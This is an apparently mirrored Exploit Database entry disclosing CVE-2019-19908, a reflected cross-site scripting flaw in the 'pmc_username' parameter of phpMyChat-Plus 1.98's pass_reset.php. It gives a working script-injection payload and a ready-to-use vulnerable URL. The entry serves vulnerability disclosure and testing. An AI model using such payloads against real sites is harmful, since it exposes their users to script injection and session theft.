phpMyChat-Plus 1.98 – ‘pmc_username’ Reflected Cross-Site Scripting

Exploit Database
116 阅读

作者： Chris Inzinga

日期： 2019-12-20
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/47798/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

# Exploit Title: phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting

# Date: 2019-12-19

# Exploit Author: Chris Inzinga

# Vendor Homepage: http://ciprianmp.com/latest/

# Download: https://sourceforge.net/projects/phpmychat/

# Tested On: Linux & Mac

# Version: 1.98

# CVE: CVE-2019-19908

Description:

The "pmc_username" parameter of pass_reset.php is vulnerable to reflected XSS

Payload:

"><script>alert('xss')</script>

Vulnerable URL:

http://localhost/plus/pass_reset.php?L=english&pmc_username="><script>alert('xss')</script>